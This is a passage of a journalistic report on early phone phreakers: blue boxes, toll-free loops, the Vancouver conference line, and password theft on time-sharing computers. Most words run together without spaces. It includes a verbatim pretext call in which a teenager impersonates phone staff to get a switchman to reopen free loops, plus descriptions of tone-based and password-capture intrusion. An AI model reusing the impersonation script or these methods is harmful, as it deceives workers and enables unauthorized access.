seemtoknowwhoIamsoIcangoonphonetrippingandformephonetrippingis
just as important as phone freaking". Phone tripping, Joe explains, begins with
callingupacentralofficeswitchroom.Hetellstheswitchmaninapoliteearnest
voicethathe'sablindcollegestudentinterestedintelephones,andcouldheperhaps
haveaguidedtouroftheswitchingstation?EachstepofthetourJoelikestotouch
andfeelrelays,caressswitchingcircuits,switchboards,crossbararrangements.So
whenJoeEngressiaphonefreakshefeelshiswaythroughthecircuitryofthecountry
garden of forking paths, he feels switches shift, relays shunt, crossbars swivel,
tandemsengageanddisengageevenashehearswithperfectpitchhisMFpulses
maketheentireBellsystemdancetohistune.JustonemonthagoJoetookallhis
savingsoutofhisbankandlefthome,overtheemotionalprotestsofhismother."I
ranawayfromhomealmost,"helikestosay.Joefoundasmallapartmenthouseon
UnionAvenueandbeganmakingphonetrips.He'dtakeabusahundredmilessouth
inMississippitoseesomeoldfashionedBellequipmentstillinuseinseveralstates,
whichhadbeenpuzzling.He'dtakeabusthreehundredmilestoCharlotte,North
Carolina,tolookatsomebrandnewexperimentalequipment.Hehiredataxito
drivehimtwelvemilestoasuburbtotourtheofficeofasmallphonecompanywith
someinterestingidiosyncrasiesinitsroutingsystem.Hewashavingthetimeofhis
life,hesaid,themostfreedomandpleasurehehadknown.Inthatmonthhehaddone
verylittlelongdistancephonefreakingfromhisownphone.Hehadbeguntoapply
forajobwiththephonecompany,hetoldmeandhewantedtostayawayfrom
anythingillegal."Anykindofjobwilldo,anythingasmenialasthemostlowly
operator. That's probably all they'd give me because I'm blind. Even though I
probablyknowmorethanmostswitchmen.Butthat'sO.K.IwanttoworkforMa
Bell.Idon'thateMaBellthewayGilbertsonandsomephonefreaksdo.Idon'twant
toscrewMaBell.Withmeit'sthepleasureofpureknowledge.There'ssomething
beautifulaboutthesystemwhenyouknowitintimatelythewayIdo.ButIdon't

know how much they know about me here. I have a very intuitive feel for the
conditionofthelineI'mon,andIthinkthey'remonitoringmeoffandonlately,butI
haven'tbeendoingmuchillegal.Ihavetomakeafewcallstoswitchmenonceina
whilewhicharen'tstrictlylegalandonceItookanacidtripandwashavingthese
auditoryhallucinationsasifIweretrappedandtheseplanesweredivebombingme
andallofsuddenIhadtophonefreakoutofthere.ForsomereasonIhadtocall
KansasCity,butthat'sall."
AWarningIsDelivered
Atthispointoneo'clockinmytimezonealoudknockonmymotelroomdoor
interruptsourconversation.OutsidethedoorIfindauniformedsecurityguardwho
informsmethattherehasbeenan"emergencyphonecall"formewhileIhavebeen
onthelineandthatthefrontdeskhassenthimuptoletmeknow.Twosecondsafter
IsaygoodbyetoJoeandhangup,thephonerings."Whowereyoutalkingto?"the
agitatedvoicedemands.ThevoicebelongstoCaptainCrunch."IcalledbecauseI
decidedtowarnyouofsomething.Idecidedtowarnyoutobecareful.Idon'twant
thisinformationyougettogettotheradicalunderground.Idon'twantittogetinto
thewronghands.WhatwouldyousayifItoldyouit'spossibleforthreephone
freakstosaturatethephonesystemofthenation.Saturateit.Busyitout.Allofit.I
knowhowtodothis.I'mnotgonnatell.Afriendofminehasalreadysaturatedthe
trunks between Seattle and New York. He did it with a computerized M F er
hitchedintoaspecialManitobaexchange.Butthereareother,easierwaystodoit."
Justthreepeople?Iask.Howisthatpossible?"Haveyoueverheardofthelong
linesguardfrequency?Doyouknowaboutstackingtandemswith17and2600?
Well,I'dadviseyoutofindoutaboutit.I'mnotgonnatellyou.Butwhateveryoudo,
don'tletthisgetintothehandsoftheradicalunderground."(LaterGilbertson,the
inventor,confessedthatwhilehehadalwaysbeenscepticalabouttheCaptain'sclaim
ofthesabotagepotentialoftrunktyingphonefreaks,hehadrecentlyheardcertain
demonstrationswhichconvincedhimtheCaptainwasnotspeakingidly."Ithinkit
mighttakemorethanthreepeople,dependingonhowmanymachineslikeCaptain
Crunch' s were available. But even though the Captain sounds a little weird, he
generallyturnsouttoknowwhathe'stalkingabout.")"Youknow,"CaptainCrunch
continuesinhisadmonitorytone,"youknowtheyoungerphonefreakscallMoscow
allthetime.SupposeeverybodyweretocallMoscow.I'mnorightwinger.ButI
valuemylife.Idon'twanttheCommiescomingoveranddroppingabombonmy
head.That'swhyIsayyou'vegottobecarefulaboutwhogetsthisinformation."The
Captainsuddenlyshiftsintoadiatribeagainstthosephonefreakswhodon'tlikethe
phonecompany."Theydon'tunderstand,butMaBellknowseverythingtheydo.Ma
Bellknows.Listen,isthislinehot?Ijustheardsomeonetapin.I'mnotparanoid,but
Icandetectthingslikethat.Well,evenifitis,theyknowthatIknowthattheyknow
thatIhaveabulkeraser.I'mveryclean."TheCaptainpauses,evidentlytornbetween
wantingtoprovetothephonecompanymonitorsthathedoesnothingillegal,and
thedesiretoimpressMaBellwithhisprowess."MaBellknowshowgoodIam.And
Iamquitegood.Icandetectreversals,tandemswitching,everythingthatgoesonon

aline.Ihaverelativepitchnow.Doyouknowwhatthatmeans?Myearsarea$20
000pieceofequipment.WithmyearsIcandetectthingstheycan'thearwiththeir
equipment.I'vehademploymentproblems.I'velostjobs.ButIwanttoshowMaBell
howgoodIam.I don'twanttoscrewher,Iwanttoworkforher.Iwanttodogood
forher.Iwanttohelphergetridofherflawsandbecomeperfect.That'smynumber
onegoalinlifenow".TheCaptainconcludeshiswarningsandtellsmehehastobe
going."I'vegotalittleactionlinedupfortonight,"heexplainsandhangsup.Before
Ihangupforthenight,IcallJoeEngressiaback.Hereportsthathistormentorhas
finallygonetosleep"He'snotblinddrunk,that'sthewayIget,ahem,yes;butyou
mightsayhe'sinadrunkenstupor."ImakeadatetovisitJoeinMemphisintwo
days.
APhoneFreakCallTakesCareofBusiness
ThenextmorningIattendagatheringoffourphonefreaksin(aCalifornia
suburb).Thegatheringtakesplaceinacomfortablesplitlevelhomeinanupper
middle class subdivision. Heaped on the kitchen table are the portable cassette
recorders, M F cassettes, phone patches and line ties of the four phone freaks
present.Onthekitchencounternexttothetelephoneisashoeboxsizebluebox
withthirteenlargetoggleswitchesforthetones.Theparentsofthehostphonefreak,
Ralf,whoisblind,stayinthelivingroomwiththeirsightedchildren.Theyarenot
sureexactlywhatRalfandhisfriendsdowiththephoneorifit'sstrictlylegal,buthe
isblindandtheyarepleasedhehasahobbywhichkeepshimbusy.Thegrouphas
beenworkingatreestablishingthehistoric"2111"conference,reopeningsome
tollfree loops, and trying to discover the dimensions of what seem to be new
initiativesagainstphonefreaksbyphonecompanysecurityagents.Itisnotlong
beforeIgetachancetosee,tohear,Randyatwork.Randyisknownamongthe
phonefreaksasperhapsthefinestconmaninthegame.Randyisblind.Heispale,
softandpearshaped,hewearsbaggypantsandawrinklynylonwhitesportshirt,
pusheshisheadforwardfromhunchedshoulderssomewhatlikeaturtleinchingout
ofitsshell.Hiseyeswander,crossingandrecrossing,andhisforeheadissomewhat
pimply. He is only sixteen years old. But when Randy starts speaking into a
telephonemouthpiecehisvoicebecomessostunninglyauthoritativeitisnecessaryto
lookagaintoconvinceyourselfitcomesfromachubbyadolescentRandy.Imagine
thevoiceofacrackoilrigforeman,atough,sharp,weatherbeatenMarlborough
man of forty. Imagine the voice of a brilliant performance fund guns linger
explaininghowhebeatstheDowJonesbythirtypercent.Thenimagineavoicethat
couldmakethosetwosoundlikeStepinFetchit.ThatissixteenyearoldRandy's
voice.HeisspeakingtoaswitchmaninDetroit.ThephonecompanyinDetroithad
closeduptwotollfreelooppairsfornoapparentreason,althoughheavyuseby
phonefreaksalloverthecountrymayhavebeendetected.Randyistellingtheswitch
manhowtoopenuptheloopandmakeitfreeagain:"Howareyou,buddy.Yeah.
I'montheboardinhereinTulsa,Oklahoma,andwe'vebeentryingtorunsometests
onyourlooparoundandwefindthembusiedoutonbothsides.Yeah,we'vebeen
gettingaBYonthem,whatd'yasay,canyoudropcardson'em?Doyouhave08

onyournumbergroup?Ohthat'sO.K.,we'vehadthistroublebefore,wemayhave
togoafterthecircuit.Herelemmegive'emtoyou:yourframeis05,verticalgroup
03,horizontal5,verticalfile3.Yeah,we'llhangonhere...O.K.,foundit?Good.
Right,yeah,we'dliketoclearthatbusyout.Right.Allyouhavetodoislookfor
yourkeyonthemountingplate,it'sinyourmiscellaneoustrunkframe.O.K.?Right.
NowpullyourkeyfromnorovertheLCT.Yeah.Idon'tknowwhythathappened,
butwe'vebeenhavingtroublewiththatone.O.K.Thanksalotfellow!Beseeing
you!"Randyhangsup,reportsthattheswitchmanwasalittleinexperiencedwith
thelooparoundcircuitsonthemiscellaneoustrunkframe,butthattheloophasbeen
returnedtoitsfreecallstatus.Delighted,phonefreakEdreturnsthepairofnumbers
to the active status column in his directory. Ed is a superb and painstaking
researcher.WithalmostTalmudicthoroughnesshewilltracetendrilsofhintsthrough
softwiredmazesofinterveningphonecompanycircuitrybackthroughcomplex
linkagesofswitchingrelaystofindthelocationandidentityofjustonetollfree
loop. He spends hours and hours, every day, doing this sort of thing. He has
somehow compiled a directory of eight hundred "Band six in Wats numbers"
locatedinoverfortystates.BandsixinWatsnumbersarethebig800numbersthe
onesthatcanbedialledintofreefromanywhereinthecountry.Edtheresearcher,a
nineteenyearoldengineeringstudent,isalsoasuperbtechnician.Heputtogether
his own working blue box from scratch at age seventeen. (He is sighted.) This
eveningafterdistributingthelatestissueofhisinWatsdirectory(whichhasbeen
typedintoBraillefortheblindphonefreaks),heannounceshehasmadeamajornew
breakthrough:"Ifinallytesteditanditworks,perfectly.I'vegotthisswitchingmatrix
whichconvertsanytouchtonephoneintoanMFer."Thetonesyouhearintouch
tonephonesarenottheMFtonesthatoperatethelongdistanceswitchingsystem.
Phone freaks believe A. T. & T. had deliberately equipped touch tones with a
differentsetoffrequenciestoavoidputtingthesixmasterMFtonesinthehandsof
everytouchtoneowner.Ed'scomplexswitchingmatrixputsthesixmastertones,in
effectputabluebox,inthehandsofeverytouchtoneowner.Edshowsmepagesof
schematics,specificationsandpartslists."It'snoteasytobuild,buteverythinghere
isintheHeathkitcatalogue."EdasksRalfwhatprogresshehasmadeinhisattempts
to re establish a longterm open conference line for phone freaks. The last big
conferencethehistoric"2111"conferencehadbeenarrangedthroughanunused
Telextestboardtrunksomewhereintheinnardsofa4Aswitchingmachinein
Vancouver,Canada.FormonthsphonefreakscouldMFtheirwayintoVancouver,
beepout604(theVancouverareacode)andthenbeepout2111(theinternalphone
companycodeforTelextesting)andfindthemselvesatanytime,dayornight,onan
openwiretalkingwithanarrayofphonefreaksfromcoasttocoast,operatorsfrom
Bermuda,TokyoandLondonwhoarephonefreaksympathizersandmiscellaneous
guestsandtechnicalexperts.Theconferencewasamassiveexchangeofinformation.
Phonefreakspickedeachother'sbrainsclean,thendevelopednewwaystopickthe
phone company's brains clean. Ralf gave M F Boogies concerts with his home
entertainment type electric organ, Captain Crunch demonstrated his round the
worldprowesswithhisnotoriouscomputerizedunitanddroppedleeringhintsofthe
"action"hewasgettingwithhisgirlfriends.(TheCaptainlivesoutorpretendsto

liveoutseveralkindsoffantasiestothegossipydelightoftheblindphonefreaks
whourgehimontofurthertriumphsonbehalfofallofthem.)Thesomewhatrowdy
Northwest phone freak crowd let their bitter internal feud spill over into the
peaceableconferenceline,escalatingshortlyintoguerrillawarfare;Carlthe East
Coast international tonerelationsexpertdemonstratednewly openeddirect M F
routestocentralofficesontheislandofBahreininthePersianGulf,introduceda
newphonefreakfriendofhisinPretoriaandexplainedthetechnicaloperationof
thenewOaklandtoVietnamlinkages.(Manyphonefreakspickupspendingmoney
byMFingcallsfromrelativestoVietnamG.I.'s,charging$5forawholehourof
transPacificconversation).Dayandnighttheconferencelinewasneverdead.Blind
phonefreaksalloverthecountry,lonelyandisolatedinhomesfilledwithactive
sightedbrothersandsistersortrappedwithslowandunimaginativeblindkidsin
straitjacketschoolsfortheblind,knewthatnomatterhowlateitgottheycoulddial
uptheconferenceandfindinstantelectroniccommunionwithtwoorthreeother
blindkidsawakeoverontheothersideofAmerica.Talkingtogetheronaphone
hookup,theblindphonefreakssay,isnotmuchdifferentfrombeingtheretogether.
Physically,therewasnothingmorethanatwoinchsquarewaferoftitaniuminside
a vast machine on Vancouver Island. For the blind kids <there> meant an
exhilaratingfeelingofbeingintouch,throughakindofskillandmagicwhichwas
peculiarlytheirown.LastApril1,however,thelongVancouverConferencewas
shutoff.Thephonefreaksknewitwascoming.Vancouverwasintheprocessof
convertingfromastepbystepsystemtoa4Amachineandthe2111Telexcircuit
wastobewipedoutintheprocess.Thephonefreakslearnedtheactualdayonwhich
the conference would be erased about a week ahead of time over the phone
company'sinternalnewsandshoptalkrecording.Forthenextfranticsevendays
everyphonefreakinAmericawasonandoffthe2111conferencetwentyfourhours
aday.Phonefreakswhowerejustlearningthegameordidn'thaveMFcapability
wereboosteduptotheconferencebymoreexperiencedfreakssotheycouldgeta
glimpseofwhatitwaslikebeforeitdisappeared.Topphonefreakssearcheddistant
area codes for new conference possibilities without success. Finally in the early
morningofApril1,theendcame."Icouldfeelitcomingacouplehoursbefore
midnight,"Ralfremembers."Youcouldfeelsomethinggoingoninthelines.Some
static began showing up, then some whistling wheezing sound. Then there were
breaks.Somepeoplegotcutoffandcalledrightbackin,butafterawhilesome
peoplewerefindingtheywerecutoffandcouldn'tgetbackinatall.Itwasterrible.I
lostitaboutonea.m.,butmanagedtoslipinagainandstayonuntilthethingdied.I
thinkitwasaboutfourinthemorning.Therewerefourofusstillhangingonwhen
theconferencedisappearedintonowhereforgood.WealltriedtoMFuptoitagain
ofcourse,butwegotsilenttermination.Therewasnothingthere".

TheLegendaryMarkBernayTurnsOutToBe"TheMidnightSkulker"

MarkBernay.Ihadcomeacrossthatnamebefore.ItwasonGilbertson'sselectlist
of phone freaks. The California phone freaks had spoken of a mysterious Mark
BernayasperhapsthefirstandoldestphonefreakontheWestCoast.Andinfact

almosteveryphonefreakintheWestcantracehisoriginseitherdirectlytoMark
Bernay or to adisciple of MarkBernay. Itseems thatfiveyears ago this Mark
Bernay(apseudonymhechoseforhimself)begantravellingupanddowntheWest
Coast pasting tiny stickers in phone books all along his way. The stickers read
somethinglike"Wanttohearaninterestingtaperecording?Callthesenumbers."
The numbers that followed were toll free looparound pairs. When one of the
curiouscalledoneofthenumbershewouldhearataperecordingprehookedinto
theloopbyBernaywhichexplainedtheuseoflooparoundpairs,gavethenumbers
ofseveralmoreandendedbytellingthecaller,"Atsixo'clocktonightthisrecording
willstopandyouandyour friendscantryitout.Havefun.""Iwasdisappointedby
theresponseatfirst,"Bernaytoldme,whenIfinallyreachedhimatoneofhismany
numbersandhehaddispensedwiththeusual"Ineverdoanythingillegal"formalities
whichexperiencedphonefreaksopenmostconversations."Iwentalloverthecoast
with these stickers not only on pay phones, but I'd throw them in front of high
schoolsinthemiddleofthenight,I'dleavethemunobtrusivelyincandystores,
scatterthemonmainstreetsofsmalltowns.Atfirsthardlyanyonebotheredtotryit
out.Iwouldlisteninforhoursandhoursaftersixo'clockandnoonecameon.I
couldn't figure out why people wouldn't be interested. Finally these two girls in
Oregontrieditoutandtoldalltheirfriendsandsuddenlyitbegantospread."Before
hisJohnyAppleseedtripBernayhadalreadygatheredasizablegroupofearlypre
blueboxphonefreakstogetheronlooparoundinLosAngeles.Bernaydoesnot
claimcreditfortheoriginaldiscoveryofthelooparoundnumbers.Heattributesthe
discoverytoaneighteenyearoldreformschoolkidinLongBeachwhosenamehe
forgets and who, he says, "just disappeared one day." When Bernay himself
discoveredlooparoundindependently,fromcluesinhisreadingsinoldissuesofthe
AutomaticElectricTechnicalJournal,hefounddozensofthereformschoolkid's
friendsalreadyusingthem.However,itwasoneofBernay'sdisciplesinSeattlethat
introducedphonefreakingtoblindkids.TheSeattlekidwholearnedaboutloops
throughBernay'srecordingtoldablindfriend,theblindkidtaughtthesecrettohis
friendsatawintercampforblindkidsinLosAngeles.Whenthecampsessionwas
overthesekidstookthesecretbacktotownsallovertheWest.Thisishowthe
originalblindkidsbecamephonefreaks.Forthem,formostphonefreaksingeneral,
itwasthediscoveryofthepossibilitiesoflooparoundwhichledthemontofar
moreseriousandsophisticatedphonefreakmethodsandwhichgavethemamedium
forsharingtheirdiscoveries.Ayearlaterablindkidwhomovedbackeastbrought
thetechniquetoablindkids'summercampinVermont,whichspreaditalongthe
EastCoast.AllfromaMarkBernaysticker.Bernay,whoisnearlythirtyyearsold
now,gothisstartwhenhewasfifteenandhisfamilymovedintoanL.A.suburb
servicedbyGeneralTelephoneandElectronicsequipment.Hebecamefascinated
withthedifferencesbetweenBellandG.T.&E.equipment.Helearnedhecould
makeinterestingthingshappenbycarefullytimedclickswiththedisengagebutton.
Helearnedtointerpretsubtledifferencesinthearrayofclicks,whirrsandkachinks
hecouldhearonhislines.Helearnedhecouldshifthimselfaroundtheswitching
relaysoftheL.A.areacodeinanottoopredictablefashionbyinterspersinghis
own hook switch clicks with the clicks within the line. (Independent phone

companiesthereare nineteenhundredofthemstillleft,mostofthemtinyisland
principalities in Ma Bell's vast empire have always been favourites with phone
freaks, first as learning tools, then as Archimedes platforms from which to
manipulatethehugeBellsystem.AphonefreakinBellterritorywilloftenMF
himselfintoanindependent'sswitchingsystem,withswitchingidiosyncrasieswhich
cangivehimmarvellousleverageovertheBellSystem."Ihavearealaffectionfor
AutomaticElectricEquipment,"Bernaytoldme."Therearealotofthingsyoucan
playwith.Thingsbreakdownininterestingways."ShortlyafterBernaygraduated
fromcollege(withadoublemajorinchemistryandphilosophy),hegraduatedfrom
freakingaroundwithG.T.&E.totheBellSystemitselfandmadehislegendary
stickerpastingjourneynorthalongthecoast,settlingfinallyinNorthwestPacific
Bellterritory.HediscoveredthatifBelldoesnotbreakdownasinterestinglyasG.T.
&E.,itneverthelessoffersalotof"thingstoplaywith."Bernaylearnedtoplaywith
blueboxes.Heestablishedhisownpersonalswitchboardandphonefreakresearch
laboratorycomplex.Hecontinuedhisphonefreakevangelismwithongoingsticker
campaigns.Hesetuptworecordingnumbers,onewithinstructionsforbeginning
phone freaks, the other with latest news and technical developments (along with
someadvancedinstruction)gatheredfromsourcesalloverthecountry.Thesedays,
Bernay told me, he had gone beyond phone freaking itself. "Lately I've been
enjoyingplayingwithcomputersmorethanplayingwithphones.Mypersonalthing
incomputersisjustlikewithphones,Iguessthekickisinfindingouthowtobeat
thesystem,howtogetatthingsI'mnotsupposedtoknowabout,howtodothings
withthesystemthatI'mnotsupposedtobeabletodo".Asamatteroffact,Bernay
toldme,hehadjustbeenfiredfromhiscomputerprogrammingjobfordoingthings
hewasnotsupposedtobeabletodo.Hehadbeenworkingwithahugetimesharing
computerownedbyalargecorporationbutsharedbymanyothers.Accesstothe
computerwaslimitedtothoseprogrammersandcorporationsthathadbeen assigned
certainpasswords.Andeachpasswordrestricteditsusertoaccesstoonlytheone
section of the computer cordoned off from its own information storager. The
password system prevented companies and individuals from stealing each other's
information."Ifiguredouthowtowriteaprogramthatwouldletmereadeveryone
else'spassword,"Bernayreports."Ibeganplayingaroundwithpasswords.Ibegan
lettingthepeoplewhousedthecomputerknow,insubtleways,thatIknewtheir
passwords.IbegandroppingnotestothecomputersupervisorswithhintsthatIknew
whatIknow.IsignedthemTheMidnightSkulker.Ikeptgettingclevererand
clevererwithmymessagesanddevisingwaysofshowingthemwhatIcoulddo.I'm
suretheycouldn'timagineIcoulddothethingsIwasshowingthem.Buttheynever
respondedtome.Everyonceinawhilethey'dchangethepasswords,butIfoundout
how to discover what the new ones were and I let them know. But they never
respondeddirectlytotheMidnightSkulker.Ievenfinallydesignedaprogramwhich
theycouldusetopreventmyprogramfromfindingoutwhatitdid.IneffectItold
themhowtowipemeout,TheMidnightSkulker.Itwasaverycleverprogram.I
startedleavingcluesaboutmyself.Iwantedthemtotryanduseitandthentryto
comeupwithsomethingtogetaroundthatandreappearagain.Buttheywouldn't
play.Iwantedtogetcaught.ImeanIdidn'twanttogetcaughtpersonally,butI

wantedthemtonoticemeandadmitthattheynoticedme.Iwantedthemtoattempt
torespond,maybeinsomeinterestingway."Finallythecomputermanagersbecame
concernedenoughaboutthethreatofinformationstealingtorespond.However,
insteadofusingTheMidnightSkulker'sownelegantselfdestructprogram,they
called in their security personnel, interrogated everyone, found an informer to
identifyBernayasTheMidnightSkulkerandfiredhim."Atfirstthesecuritypeople
advisedthecompanytohiremefulltimetosearchoutotherflawsanddiscover
othercomputerfreaks.Imighthavelikedthat.ButIprobablywouldhaveturnedinto
a double double agent rather than the double agent they wanted. I might have
resurrectedTheMidnightSkulkerandtriedtocatchmyself.Whoknows?Anyway,
thehigherupsturnedthewholeideadown".
YouCanTaptheF.B.I.'sCrimeControlComputerintheComfortofYour
OwnHome,Perhaps
Computer freaking may be the wave of the future. It suits the phone freak
sensibilityperfectly.Gilbertson,theblueboxinventorandalifelongphonefreak,
hasalsogoneonfromphonefreakingtocomputerfreaking.Beforehegotintothe
blueboxbusinessGilbertson,whoisahighlyskilledprogrammer,devisedprograms
forinternationalcurrencyarbitrage.Buthebeganplayingwithcomputersinearnest
whenhelearnedhecouldusehisblueboxintandemwiththecomputerterminal
installedinhisapartmentbytheinstrumentationfirmheworkedfor.Theprintout
terminalandkeyboardwasequippedwithacousticalcoupling,sothatbycoupling
hislittleivoryPrincessphonetotheterminalandthencouplinghisblueboxonthat,
hecouldMFhiswayintoothercomputerswithcompleteanonymity,andwithout
charge; program and re program them at will; feed them false or misleading
information;tapandstealfromthem.Heexplainedtomethathetapscomputersby
busying out all the lines, then going into a verification trunk, listening into the
passwordsandinstructionsoneofthetimesharersusesandthemMFinginand
imitatingthem.HebelievesitwouldnotbeimpossibletocreepintotheF.B.I's
crimecontrolcomputerthroughalocalpolicecomputerterminalandfreakaround
withtheF.B.I.'smemorybanks.Heclaimshehassucceededinreprogramminga
certainhugeinstitutionalcomputerinsuchawaythatithascordonedoffanentire
section of its circuitry for his personal use and at the same time conceals that
arrangementfromanyoneelse'snotice.Ihavebeenunabletoverifythisclaim.Like
CaptainCrunch,likeAlexanderGrahamBell(pseudonymofadisgruntledlooking
EastCoastengineerwhoclaimstohaveinventedtheblackboxandnowsellsblack
andblueboxestogamblersandradicalheavies),likemostphonefreaks,Gilbertson
beganhiscareertryingtoripoffpayphonesasateenager.Figurethemout,thenrip
themoff.Gettinghisdimebackfromthepayphoneisthephonefreak'sfirstthrilling
riteofpassage.Afterlearningtheusualeighteendifferentwaysofgettinghisdime
back,Gilbertsonlearnedhowtomakemasterkeystocoinphonecashboxes,andget
everyone else's dimes back. He stole some phonecompany equipment and put
togetherhisownhomeswitchboardwithit.Helearnedtomakeasimple"bread
box"device,ofthekindusedbybookiesintheThirties(bookiegivesanumbertohis

betting clients; the phone with that number is installed in some widow lady's
apartment,butisriggedtoringinthebookie'sshopacrosstown,copstracebig
bettingnumberandfindnothingbutthewidow).Notlongafterthatafternoonin1
968when,deepinthestacksofanengineeringlibrary,hecameacrossatechnical
journalwiththephonetonefrequenciesandrushedofftomakehisfirstbluebox,not
longafterthatGilbertsonabandonedaverypromisingcareerinphysicalchemistry
andbegansellingblueboxesfor$1500apiece."Ihadtoleavephysicalchemistry.I
justranoutofinterestingthingstolearn,"hetoldmeoneevening.Wehadbeen
talkingintheapartmentofthemanwhoservedasthelinkbetweenGilbertsonand
the syndicate in arranging the big $ 300 000 blue box deal which fell through
becauseoflegaltrouble.Therehasbeensomesmoking."Nomoreinterestingthings
tolearn,"hecontinues."Physicalchemistryturnsouttobeasicksubjectwhenyou
takeittoitshighestlevel.Idon'tknow.Idon'tthinkIcouldexplaintoyouhowit's
sick.Youhavetobethere.Butyouget,Idon'tknow,afalsefeelingofomnipotence.
Isupposeit'slikephonefreakingthatway.Thishugethingisthere.Thiswhole
system. And there are holes in it and you slip into them like Alice and you're
pretendingyou'redoingsomethingyou'reactuallynot,oratleastit'snolongeryou
that's doing what you thought you were doing. It's all Lewis Carroll. Physical
chemistryandphonefreaking.That'swhyyouhavethesephonefreakpseudonyms
likeTheCheshireCat,theRedKing,andTheSnark.Butthere'ssomethingabout
phonefreakingthatyoudon'tfindinphysicalchemistry."Helooksupatme:"Did
youeverstealanything?""Wellyes,I...""Thenyouknow!Youknowtherushyou
get.It'snotjustknowledge,likephysicalchemistry.It'sforbiddenknowledge.You
know.Youcanlearnaboutanythingunderthesunandbeboredtodeathwithit.But
theideathatit'sillegal.Look:youcanbesmallandmobileandsmartandyou're
ripping off somebody large and powerful and very dangerous." People like
Gilbertson and Alexander Graham Bell are always talking about ripping off the
phonecompanyandscrewingMaBell.Butiftheywereshownasinglebuttonand
toldthatbypushingittheycouldturntheentirecircuitryofA.T.&T.intomolten
puddles,theyprobablywouldn'tpushit.Thedisgruntledinventorphonefreakneeds
thephonesystemthewaythelapsedCatholicneedstheChurch,thewaySatanneeds
aGod,thewayTheMidnightSkulkerneeded,morethananythingelse,response.
LaterthateveningGilbertsonfinishedtellingmehowdelightedhewasattheflood
ofblueboxesspreadingthroughoutthecountry,howdelightedhewastoknowthat
"thistimethey'rereallyscrewed."Hesuddenlyshiftedgears."Ofcourse.Idohave
thislove/hatethingaboutMaBell.InawayIalmostlikethephonecompany.I
guessI'dbeverysadiftheyweretodisintegrate.Inawayit'sjustthatafterhaving
beensogoodtheyturnouttohavethesethingswrongwiththem.It'sthoseflawsthat
allowmetogetinandmesswiththem,butIdon'tknow.There'ssomethingaboutit
thatgetstoyouandmakesyouwanttogettoit,youknow."Iaskhimwhathappens
whenherunsoutofinteresting,forbiddenthingstolearnaboutthephonesystem."I
don'tknow,maybeI'dgotoworkforthemforawhile.""Insecurityeven?""I'ddo
it,sure.IjustassoonplayI'djustassoonworkoneitherside.""Evenfiguringout
howtotrapphonefreaks?Isaid,recallingMarkBernay'sgame.""Yes,thatmight
beinteresting.Yes,Icouldfigureouthowtooutwitthephonefreaks.OfcourseifI

gottoogoodatit,itmightbecomeboringagain.ThenI'dhavetohopethephone
freaksgotmuchbetterandoutsmartedmeforawhile.Thatwouldmovethequality
ofthegameuponelevel.Imightevenhavetohelpthemout,youknow,Well,kids,
Iwouldn'twantthistogetaroundbutdidyoueverthinkof?Icouldkeepitgoing
athigherandhigherlevelsforever."Thedealerspeaksupforthefirsttime.Hehas
beenstaringatthesoftblinkingpatternsoflightandcoloursonthetranslucenttiled
wallfacinghim(Actuallytherearenopatterns:thecolourandilluminationofevery
tile is determined by a computerized randomnumber generator designed by
Gilbertsonwhichinsuresthattherecanbenomeaningtoanysequenceofeventsin
thetiles)."Thosearenicegamesyou'retalkingabout,"saysthedealertohisfriend.
"ButIwouldn'tmindseeingthemscrewed.Atelephoneisn'tprivateanymore.You
can'tsayanythingyoureallywanttosayonatelephoneoryouhavetogothrough
thatparanoidbullshit.Isitcooltotalkonthephone?Imean,evenifitiscool,if
youhavetoaskIsitcool,thenitisn'tcool.Youknow.Isitcool,thenitisn't
cool.Youknow.Likethoseblindkids,peoplearegoingtostartputtingtogethertheir
ownprivatetelephonecompaniesiftheywanttoreallytalk.Andyouknowwhat
else.Youdon'thearsilencesonthephoneanymore.They'vegotthistimesharing
thingonlongdistancelineswhereyoumakeapauseandtheysnipoutthatpieceof
timeanduseittocarrypartofsomebodyelse'sconversation.Insteadofapause,
wheresomebody'smaybebreathingorsighing,yougetthisblankholeandyouonly
starthearingagainwhensomeonesaysawordandeventhebeginningofthewordis
clippedoff.Silencesdon'tcountyou'repayingforthem,buttheytakethemaway
fromyou.It'snotcooltotalkandyoucan'thearsomeonewhentheydon'ttalk.What
thehellgoodisthephone?Iwouldn'tmindseeingthemtotallyscrewed".

TheBigMemphisBust
JoeEngressianeverwantedtoscrewMaBell.Hisdreamhadalwaysbeentowork
forher.ThedayIvisitedJoeinhissmallapartmentonUnionAvenueinMemphis,
hewasupsetaboutanothersetbackinhisapplicationforatelephonejob."They're
stallingonit.Igotalettertodaytellingmethey'dhavetopostponetheinterviewI
requestedagain.Mylandlordreaditforme.Theygavemesomerunaroundabout
wantingpapersonmyrehabilitationstatusbutIthinkthere'ssomethingelsegoing
on."WhenIswitchedonthe40WattbulbinJoe'sroomhesometimesforgetswhen
hehasguestsitlookedasiftherewasenoughtelephonehardwaretostartasmall
phonecompanyofhisown.Thereisonephoneontopofhisdesk,onephonesitting
inanopendrawerbeneaththedesktop.Nexttothedesktopphoneisacigarbox
sizeMFdevicewithbigtoggleswitches,andnexttothatissomekindofswitching
andcouplingdevicewithjacksandalligatorplugshangingloose.Nexttothatisa
Brailletypewriter.Onthefloor nexttothedesk, lyingupsidedownlikeadead
tortoise,isthehalfguttedbodyofanoldblackstandardphone.Acrosstheroomon
atornanddustycoucharetwomorephones,oneofthematouchtonemodel;two
taperecorders;aheapofphonepatchesandcassettesandalifesizetoytelephone.
Ourconversationisinterruptedeverytenminutesbyphonefreaksfromalloverthe
countryringingJoeonjustabouteverypieceofequipmentbutthetoyphoneandthe

Brailletypewriter.OnefourteenyearoldblindkidfromConnecticutcallsupand
tellsJoehe'sgotagirlfriend.HewantstotalktoJoeaboutgirlfriends.Joesays
they'lltalklaterintheeveningwhentheycanbealoneontheline.Joedrawsadeep
breath,whistleshimofftheairwithanearsplitting2600cyclewhistle.Joeis
pleasedtogetthecallsbuthelookedworriedandpreoccupiedthatevening,hisbrow
constantly furrowed over his dark wandering eyes. In addition to the phone
companystall,hehasjustlearnedthathisapartmenthouseisduetobedemolishedin
sixtydaysforurbanrenewal.Forallitsshabbiness,theUnionAvenueapartment
househasbeenJoe'sfirsthomeofhisownandhe'sworriedthathemaynotfind
anotherbeforethisoneisdemolished.ButwhatreallybothersJoeisthatswitchmen
haven'tbeenlisteningtohim."I'vebeendoingsomecheckingon800numberslately,
andI'vediscoveredthatcertain800numbersinNewHampshirecouldn'tbereached
fromMissouriandKansas.Nowitmaysoundlikeasmallthing,butIdon'tliketo
see sloppy work; it makes me feel bad about the lines. So I've been calling up
switchingofficesandreportingit,buttheyhaven'tcorrectedit.Icalledthemupfor
